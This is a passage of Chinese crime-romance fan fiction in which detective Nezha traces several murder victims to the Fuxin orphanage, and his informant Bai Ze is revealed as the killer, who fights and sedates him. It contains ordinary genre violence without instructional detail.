他边说边拿着包子朝敖丙作揖:“敖天师厉害厉害,你不知道我们这帮人受了他多少折磨,收得好收得好。” 敖丙掩唇笑,没搭腔。 “又皮痒了是吧?”哪吒见这群人在敖丙面前说自己坏话,眉毛跳了跳,“等这桩案子结束了每个人去积案那儿领十份档案回来,破不完别想休息。” 作为基层打工人的敖丙听不下去了,咳嗽了几声想提醒哪吒差不多得了。 “那算了,每个人领两份好了。”哪吒福至心灵,“心善”地给每个人都减了任务,“行了,说正事,你们今天去另外几名死者家走访,有什么收获吗?” 阿瑶探头说:“我们去了宋源父母那儿,他父母说宋源是他们年轻时候从孤儿院领养的孩子,我刚想下午和阿丑去那家孤儿院看看呢。” !! 哪吒瞬间严肃起来:“哪家?” 阿瑶调出自己刚才找出来的资料:“叫福新孤儿院,我查了下是在城西,我已经用志愿者的名义联系过那边下午过去帮忙了。” “福新?”哪吒觉得这个名字很耳熟,蹙眉在脑海里搜索了半天这个名字,最终翻找出一个模糊的印象。 白泽也是这家孤儿院出来的孩子。 这趟玉虚宫,他是非走不可了。 哪吒又把从李婉哪儿得出的消息通知了其他人,然后又道:“耀东……” 陈耀东抢先答道:“我知道,我这就去查江城宇和王旭是不是也是福新孤儿院出来的。” 哪吒点头,随后给其他人安排了任务。 “我先去一趟玉虚宫确认一件事。” 办公室里其他人都去各忙各的了,哪吒这句话只有敖丙听到。 听着像是报备一样。 敖丙心念动了动,想说什么,最后开口却是:“那你小心。” 9.他认出我的第四天 >>>>>>>>> 15. 哪吒本来是想先去玉虚宫找白泽的,只是敖丙态度强硬一定要他先去吃饭,俨然一副他不听话就要掉小珍珠的模样(哪吒自带滤镜导致),哪吒也只好妥协,和周警官分开后在路边找了家面馆。 午饭的点已经过去,这会儿店里位置很多,哪吒点完餐找了个靠门口的位置坐下。 和敖丙的视频一直没断,哪吒找了个支架把手机固定好,问:“你今天是怎么想到李青岩一家血型不对的?” 敖丙把回去后的案子简单说了下,又道:“被害人的哥哥一直在说是被害人的丈夫下的手,二队那边好像还在查,你有什么看法吗?” 哪吒一直盯着敖丙没说话,直到蓝发Omega抛来疑惑的眼神,才缓缓开口:“我觉得是被害人自己点的煤气。” “是自杀。”哪吒解释,“以我之前在派出所接触过的家暴案来说,一般施暴者是被各方的压力压得喘不过气了,但又因为自身性格懦弱不敢反抗没有宣泄口,于是就把目光落在了地位比他们更低也更容易下手的另一半,这种施暴者一般很少会以致命为目的,他们打完了人甚至可能还会向受害者痛哭流涕跪地求饶,说自己一时糊涂下次一定不会再犯了,但实际上下一次只会是如法炮制的施暴。” “这种施暴者他们并不是真的后悔或是害怕法律制裁,他们只是怕没了受害者以后,他们就没有宣泄口。” “被害人之所以自杀应该是受不了他丈夫长期的家庭暴力,但又没有其他办法。”哪吒颇为惋惜两条人命的逝去。 敖丙垂眼:“都是无知的错。” 哪吒手撑着下巴支在桌子边缘,盯着敖丙饶有趣味地问:“你觉得被害人的丈夫为什么有怀疑但是不去做基因检测?” 敖丙答:“他觉得基因检测太贵了。” 哪吒打了个清脆的响指:“给你批个预算给受害人的丈夫和小孩做个基因检测,他丈夫这种人是不见棺材不落泪的,说不定现在还在嘴硬自己打得没错,那就把证据甩他脸上让他看看错没错。” 陈塘关第一Alpha从容且淡定的出击方式让敖丙没由来地被帅到。 敖丙不经意地看了哪吒好几眼,点点头算是回应他的安排。 “你还在派出所干过?”敖丙好奇地问。 哪吒怕他对自己有什么误解,强调道:“我毕业以后直接就考进市局了的!” “只是前几年有个案子,我当时违规了,但又不肯认错。”哪吒略带心虚地摸了下鼻子,“队长就把我给流放了。” 哪吒当时确实很不服气,只是后来去了趟基层,反而学到了不少东西,他也渐渐明白了队长的意图。 有些事儿,越脱离基层就越是看不清。 敖丙问:“什么案子,能说吗?” 说话间,老板将面放在了桌上:“您的面好了。” 哪吒朝她点点头,等老板走后说:“和杨流月那个有点像的,是一名Beta女性来报失踪,说她的丈夫失踪三天了,市局当时正好在查一个连环杀人案,我们就担心她丈夫是不是也被害了,可是等我们找到她丈夫的时候才发现,他只是和小三在一起吸毒吸嗨了神志不清了而已。” 哪吒说着说着勾起一抹嘲讽的笑:“后来他还因为这件事进去了几天,出来后就把问题全部归咎于他老婆,对女方动不动就大打出手,女方不堪其扰提过离婚但是男的不肯,不过好在后来在民警的劝说下两人还是离了,只是离婚以后这男的还是时不时恐吓信、威胁电话,女方报过几次警,不过都没证据是男方干的就不了了之了,我后来知道了,就找了个夜黑风高的夜晚,把那男的抓了打了一顿。” 说完,哪吒心底隐隐有些忐忑,目光闪了闪一动不动盯着敖丙,期待他的反应。 敖丙掩唇笑了:“打得好。” 哪吒喜出望外:“真的?” 他还以为敖丙会说不合规矩之类的。 他有点委屈地扁嘴:“当时那男的投诉我的时候,不仅我的队长骂我,连我爸也跟着一起骂我。” 敖丙点点头,闻言不觉有些心疼,正经道:“真的,你做的特别对,就是下次别被抓住小辫子就更好了。” “那聊聊你呗。”哪吒挑了一筷子面,“你是一毕业就在省里?” 敖丙点头:“我是省医学院毕业的,毕业以后就直接考了省局。” 哪吒笑着打趣:“原来是大学霸,之前是我冒犯了。” 敖丙扭头不理他。 哪吒又问:“那为什么调回市里来了?” “前一段时间,我爸在手术台上晕倒了,还好被同事救回来了,说是连轴加班熬夜过度导致的,只是这件事我知道的时候也过去了很多。”敖丙内疚道,“我爸一个人把我带大不容易,所以我也想离他近一点方便照顾他,就和省里提了。” 敖丙垂下眼,语气持续低落:“不过……我感觉也挺对不起我当时的主任的,他辛辛苦苦带了我好几年,本来也是想让我接班的,结果我……是我辜负他的信任了。” “敖丙。”哪吒突然喊他名字,敖丙迷惑地抬头,“不要内耗,不是每一件事都能做到让每一个人都满意的。” 哪吒郑重地说:“你自己的意向最重要,只要做出的决定不后悔就好。” 敖丙点头。 回陈塘关这个决定,或许是他做过的最不后悔的。 因为只有在这里才能遇到哪吒。 等会实在还有重要的事情要做,两人都没在说话,哪吒低着头狼吞虎咽,只是吃到一半突然反应过来,僵硬着身子坐直:“敖丙,要不把视频断了吧?” 敖丙早就回到办公室了,在哪吒吃饭的空隙里拿了本遗传学相关的书籍在看,听到这话抬头:“怎么了?” “不是,我吃相不太好看。”哪吒不好意思地挠了下脸。 他们做刑警的向来是分秒必争,于是往往吃饭都和赶火车似的,生怕放跑一丝线索,尤其是有案子的时候。 “我又不在意。”敖丙超小声地嘟囔一句,又稍稍提高音量回哪吒,“那你专心吃饭吧。” 两人这才挂了视频。 >>>>>>>>> 16. 玉虚宫下午是不营业的,门口保安虽然认识哪吒,但还是尽职地拦了一下。 哪吒公事公办地出示证件:“来查案的,白泽在吗?” 保安忙不迭地给他放行:“那我给经理说一下,白泽刚来不久,应该准备上班了。” 哪吒点头,轻车熟路地进了酒吧。 此刻酒吧里亮眼的白炽灯开着,早上班的服务员都在打扫卫生,听到有脚步声,都从各个角落里抬起头看了眼来人。 白泽也拿着扫帚,他难得把银白的长发扎成高马尾,看起来飒爽又利落。 哪吒自然而然想到敖丙,也不知道他把头发扎起来会是什么样。 哪吒决定下班以后,先上网买几个好看的发绳。 “呦,我们的大神探又来啦?”白泽瞧见了人,主动走了过来。 哪吒眼神示意:“有点事,聊聊?” 白泽也不含糊,放下手里的扫帚,领哪吒进了一个包间:“这间包间刚打扫完,暂时没什么人会来,不会有人听到案子内容的。” “这四个人你认识吗?” 哪吒的用词是认识,而非见过。 他一一将3.16案的四名被害人照片放在包间茶几上,他放照片的动作很慢,边放边注意白泽的神态。 “我认识。”白泽懒洋洋靠在沙发里,微仰头以一种俯视打量的态度瞥了眼照片,语气里坦坦荡荡。 哪吒认识白泽也有几年了。 最初的白泽瘦到难以想象,有些客人还有特殊癖好,好几次扫黄的时候都撞上他惨兮兮的模样。 后来哪吒先查了他的资料,才决定让他做自己的线人。 白泽的资料上有福新孤儿院的经历,说明他到成年也一直没被领养。 而李青岩四人,他们最初的资料上并没有写孤儿院的相关经历,是因为他们都被各自领养出去改名换姓了。 “你看仔细一点,他们四个人确定都是福新孤儿院出来的吗?” 白泽似笑非笑地看向哪吒:“我帮你办了那么多案子,这点儿眼力劲儿还是有的,况且……” 他停顿了一瞬:“我们成年以后还聚过。” 哪吒:“什么时候?” 白泽回忆了下:“大概5、6年前吧。” “当时具体是什么情况?” 据白泽所说,他跟四名死者都是有记忆就在福新孤儿院的,再加上年龄相仿,他们五个人关系一直还可以,只是后来除了白泽外的四个人都相继被领养走,这个小团体就只剩下白泽一个人。 不过四人被领养后他们的联系也没断过,虽然彼此生活都没了交集,很难再凑在一起,但偶尔还是能在网上聊两句。 当时大家高考完以后终于有空团聚了,也就约在了隔壁市的一个旅游胜地一起玩了几天。 哪吒追问:“你们当时有闹什么矛盾吗?” 白泽摇头:“没有,大家都不在一个生活圈里,能有什么矛盾?可能也就口头嫉妒一下谁的家庭比较好之类的吧。” 哪吒:“那后来呢,你跟李青岩他们几个都在陈塘关,平时会有约吗?” 白泽自嘲地笑:“当然没有,我做的什么工作还是有自知之明的,和他们早就不是一条路上的人了。” 哪吒不语,思考着这其中可能存在的关窍。 哪吒了解过白泽的过往,他并不是一开始就堕落到当少爷的,起初他也只是个在酒吧打工的普通服务生,可是后来他因为长得好看被酒吧的常客富少看上,只是他一直拒绝于是惹恼那名富少。 白泽是个没有家世背景的孤儿,酒吧的经理深知此事,于是为了自己的利益干脆灌了药把白泽送上富少的床,后来就连学籍也被富少弄没了。 而富少只对他有了短暂的一阵子兴趣,玩腻了后很快就转手送给了别人。白泽在富少的圈里被转手了个遍,有些是知道他被富少玩过所有刻意羞辱的。 只是后来不知道怎么回事,那圈富少都倒了大霉,纷纷收敛了沾花惹草浪荡不羁的行径。 而白泽也在那样的环境里看不见一丁点希望,辗转回到酒吧后彻底堕落了。 “要去看看吗?”白泽朝哪吒挑眉,“福新孤儿院,故地重游,说不定我会有新的记忆。” 哪吒干脆地起身:“走。” >>>>>>>>> 17. 白泽请了假和哪吒出门,刚走到副驾驶就被哪吒喊住:“要不你开车吧?” 白泽:“?” “我们这种有家室的人呢,副驾驶还是不要让别的Omega坐的好,但是我也不想让你坐后座,显得我像个司机一样。”几个月不见,哪吒屁事多得让白泽开始思考他究竟发生了什么,“所以,你开车吧。” 白泽有一万句脏话要骂:“……” 不过最终,白泽身为下属还是坐进驾驶位,调整座位和后视镜的时候哪吒坐上副驾驶。 白泽视线扫过哪吒:“几个月不见,你谈恋爱了?” “嗯。”哪吒系好安全带后,拿出手机不知道在发什么消息,开玩笑似的:“像我们这种守男德的谈恋爱就是麻烦,和别的Omega出个门都得先报个备。” 白泽瞥开眼,不屑切了声。 从玉虚宫到福新孤儿院车程不过半个小时,城西一向荒凉,这一路上连车都没见几辆。 车子停下后,哪吒从前窗看到的是一处破败不堪,荒废很久的宅子。 “这里是?”哪吒皱眉问。 白泽解开安全带下车:“福新孤儿院旧址。” “旧址?”哪吒赶忙也下了车。 福新孤儿院的牌匾在风雨的侵蚀下已经有了残缺,前院满地荒草,哪吒还看到一只肥老鼠听到人声后立马蹿进阴暗处。 白泽解释道:“大概在我初中的时候,福新孤儿院曾经换过投资人,那个投资人觉得这儿风水不好,就在附近盖了新的福新孤儿院,从这边驱车过去估计就十几分钟吧。” “不过大部分比较老的资料,都留在了这里。” 白泽直接领着哪吒去了档案室,档案室虽然摆放整齐,但因为长期无人踏足,早已布满灰尘。 他熟门熟路地在一众资料里翻出当年的相册,动作间带起无数灰尘,两个人都忍不住咳嗽了几声。 白泽挥了挥面前的灰尘,给哪吒指了指照片角落的五个人:“这是我们小时候拍的合照。” 哪吒将照片从相册中拿出来看了看,照片里大约二十多个人小孩,照片背面则在相应位置标了名字。 白泽和李青岩站在第二排最左侧,其余三个人正好站他们下面一排。 虽然和现在的长相不是一模一样,可还是能看到一些相似的影子。 视线扫过李青岩另一侧的人时,哪吒顿了顿,问:“这个叫……黑漠的是?” 从这张照片来说,小时候的白泽和黑漠长得非常像,只是黑漠 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白泽收敛起笑意里的嘲讽意味,冷笑着眯起眼目光含着冰,不置可否地问:“什么时候怀疑我的?” 哪吒纠正他的措辞:“没有怀疑你,只是在你提出要带我来福新孤儿院的时候,觉得你很反常罢了。” 哪吒补充道:“以我对你的了解,你可不是一个这么热情爱管闲事的人。” 白泽大笑起来,而后缓缓收起笑,面无表情道:“我把你列进计划里果然是正确的,杀了你以其他警察的本事,估计等我完成整个计划都不一定有人能抓到我。” “我谢谢你的抬举,可是我们警局没了我也一样可以把你绳之以法。”哪吒掏出手铐,“跟我回……” 话还没说完,白泽凌厉的手刀就带着风劈了过来。 哪吒腰肢下压往左边一闪,立刻伸手去擒白泽的手腕,谁知下一秒,一道闪着银色光泽的利刃袭来。 哪吒眼角察觉到刺眼的光芒,立刻想要躲开,只是仓促之间掌心还是被划破一道口子,他当即抬脚毫不留情地踹向白泽拿军刀的手。 两相缠斗之间,白泽的武器和哪吒的手铐都落在了地上。 空气里全是被扬起的灰尘。 哪吒是学过泰拳的,可是在和白泽的打斗之中却只是稍占一点上风,他只要稍一分神就会立刻被白泽逮住机会。 白泽的出招太没有规则,一看就没有系统学过,但却招招角度刁钻,手段阴毒。 白泽被拳拳到肉的攻击打得全身是伤,好不容易扫腿绊倒哪吒,然后踉跄着去捡军刀,直戳哪吒眼睛。 哪吒捏住他的手腕,力量的制衡中白泽稍逊一筹,只是突如其来的爆发力气还是让他成功在哪吒右脸颊留下一道浅浅的血痕。 哪吒反手拽着他的手腕,将刀刃对向白泽自己,片刻后,白泽脖子上也多出一道刀伤。 眼看着要被哪吒推到角落按住,白泽又使劲踩向哪吒的脚,瞬间的失痛让哪吒手上下意识一松。 哪吒被那些出其不意的阴招搞得浑身难受,他也没想到,一个Omega居然这么能打。 手心的伤口处还在不断流血,趁着白泽动作迟滞的一瞬,哪吒咬牙将白泽踹飞在地,粗粗喘着气完全顾不上吃了多少灰尘,迅速上前想反手扣住白泽。 白泽仰躺在地上,胸腔的骨头好似被踹断一般疼的厉害,他看着哪吒步步逼近,挣扎着想要爬起来,可是早已力竭。 “放弃吧,我一定会把你抓回局里的。”哪吒声音沙哑,半蹲下钳住白泽的一只手想控制住他。 只是下一秒白泽的动作再度袭来,他朝哪吒眼前撒了一把刚从地上抓的灰尘,后者只觉眼里全是颗粒般的异物,不得不半眯起眼。 高手过招胜负总在片刻之间,就在哪吒因为不适眯起眼的时候,白泽几乎是用尽全力掏出一管针剂,迅速朝着哪吒胳膊全部推了进去。 针孔扎入皮肤的疼痛让哪吒顾不得眼里的异物,全力甩开针管,然后别住白泽手腕,厉声问:“你打的什么东西??” 白泽彻底撒了手,无力地躺在地上笑:“你知道在监狱里的Alpha一旦想搞事会被怎么样对待吗?会被打这种超长效的Alpha专用镇定剂强行镇压,一般有效时间是十二个小时。” 激烈打斗后的血液流速几乎加速了药剂生效,哪吒勉强控制住自己,将白泽拽起来反手控制住,想在完全失去力气之前先拷上他:“我还以为会是上一次那种下三滥的药呢。” “我本来确实这么打算的,让你和李青岩一样和我发生关系,只可惜上次机会错过了,同样的手段用第二次实在没必要。”白泽并不反抗,只等药效发作,“而且我觉得你是个哪怕喜欢的人违法也绝不会手下留情的人,更何况只是单纯的肉..体关系,那么互相恶心一把实在没必要。” 哪吒并不想继续和他搭话浪费时间,从腰间摸出第二把手铐刚拷上白泽的一只手,对方就恢复了力气一拳打在哪吒的肚子上。 镇定剂已经生效,哪吒浑身都失去力气,再也反抗不了白泽的动作了。 可是哪怕是镇定剂生效后的哪吒也依旧难对付,他顺势拽着白泽的手用力一撇。 骨折的痛苦让白泽瞬间皱眉,咬牙切齿地踹了哪吒一脚,他也一个踉跄往后退几步,忍着疼走到角落捡起刚才打斗中掉落的手铐给哪吒反手拷在背后。 随后提起哪吒背后被别住的两只手,拽着他往资料室外走。 “旧的福新孤儿院有一个用来关不听话小孩的地下室小黑屋,从底下是不可能打开的,李警官就安心呆在这儿等死吧。” 哪吒也不做徒劳的努力,彻底放弃身体上的抵抗,转而问:“为什么要杀我,我应该没有得罪过你,你当了我的线人以后,我也一直很照顾你。” 白泽笑了笑,也不解释:“刚才怎么不问,想拖延时间?你这么想知道的话,等你死了以后我会告诉你的。” “你以为我是在拖延时间?”哪吒失笑,安静的废弃大楼里突然能隐隐听见一些汽车压过泥地的声音,“早说了,我们警局不知有我一个。” 白泽也听到了那些声音,脸色一变:“少唬我,你根本没有机会……” 他突然想到什么顿住:“果然你说你在和你对象报备是在骗我,那个时候你就已经通知警方了?” “那你可真是冤枉我了。”哪吒淡淡笑了,“我确实是在和我对象报备。” 云淡风轻地又补了一句:“可是他也是个警察啊。” 下一刻,他手上瞬间发力,将白泽的重心往下拽。